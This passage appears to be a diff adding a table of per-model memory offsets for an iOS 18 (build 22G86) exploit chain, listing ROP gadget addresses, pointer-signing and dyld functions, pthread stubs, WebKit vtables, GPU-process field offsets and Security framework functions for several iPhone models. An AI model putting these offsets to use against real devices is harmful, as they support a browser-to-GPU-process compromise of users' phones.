0x1ed7d6568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d64b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6578n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23caeb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc35870n, + libsystem_c__atexit_mutex : 0x1ed6e2b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1d80n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2578cbe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271378000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876b28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed8838f8n, + WebCore__initPKContact_value : 0x1ed883900n, + WebCore__PAL_getPKContactClass : 0x1ed87adb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8820d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8820c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8820b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877d00n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone13,2_3_22G86": { + __pthread_head : 0x26971c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f51b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704048n, + free_slabs : 0x1ed7bd7d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d69f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d66a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d66a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d65f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d66b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e2c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1ec0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a2ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271da8000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876c68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883a38n, + WebCore__initPKContact_value : 0x1ed883a40n, + WebCore__PAL_getPKContactClass : 0x1ed87aef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8821f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877e40n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone13,4_22G86": { + __pthread_head : 0x26971c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6328n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5e10n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5d70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5dc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f51b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704048n, + free_slabs : 0x1ed7bd7d0n, + gadget_control_1_ios184 : 0x23ed4d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d69f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d66a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d66a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d66b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d65f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d66b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23caef8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc39870n, + libsystem_c__atexit_mutex : 0x1ed6e2c58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1ec0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a2ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271da8000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876c68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883a38n, + WebCore__initPKContact_value : 0x1ed883a40n, + WebCore__PAL_getPKContactClass : 0x1ed87aef8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882210n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882208n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8821f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed877e40n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,2_22G86": { + __pthread_head : 0x269ae0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f53b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704248n, + free_slabs : 0x1ed7bd9d0n, + gadget_control_1_ios184 : 0x23ed192ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6bf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d68a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d68a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d68b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d67f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d68b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cabb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc05870n, + libsystem_c__atexit_mutex : 0x1ed6e2e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e20c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a6ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272178000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876e68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883c38n, + WebCore__initPKContact_value : 0x1ed883c40n, + WebCore__PAL_getPKContactClass : 0x1ed87b0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8823f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878040n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,3_22G86": { + __pthread_head : 0x269ae0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f6528n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f6010n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5f70n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5fc0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f53b8n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed704248n, + free_slabs : 0x1ed7bd9d0n, + gadget_control_1_ios184 : 0x23ed192ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01d150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6bf0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d68a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d68a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d68b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d67f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d68b8n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cabb8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc05870n, + libsystem_c__atexit_mutex : 0x1ed6e2e58n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e20c0n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a6ae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272178000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed876e68n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed883c38n, + WebCore__initPKContact_value : 0x1ed883c40n, + WebCore__PAL_getPKContactClass : 0x1ed87b0f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed882410n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed882408n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8823f0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed878040n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone14,4_22G86": { + __pthread_head : 0x2690cc020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f63e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5ed0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f5e30n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5e80n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f5278n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 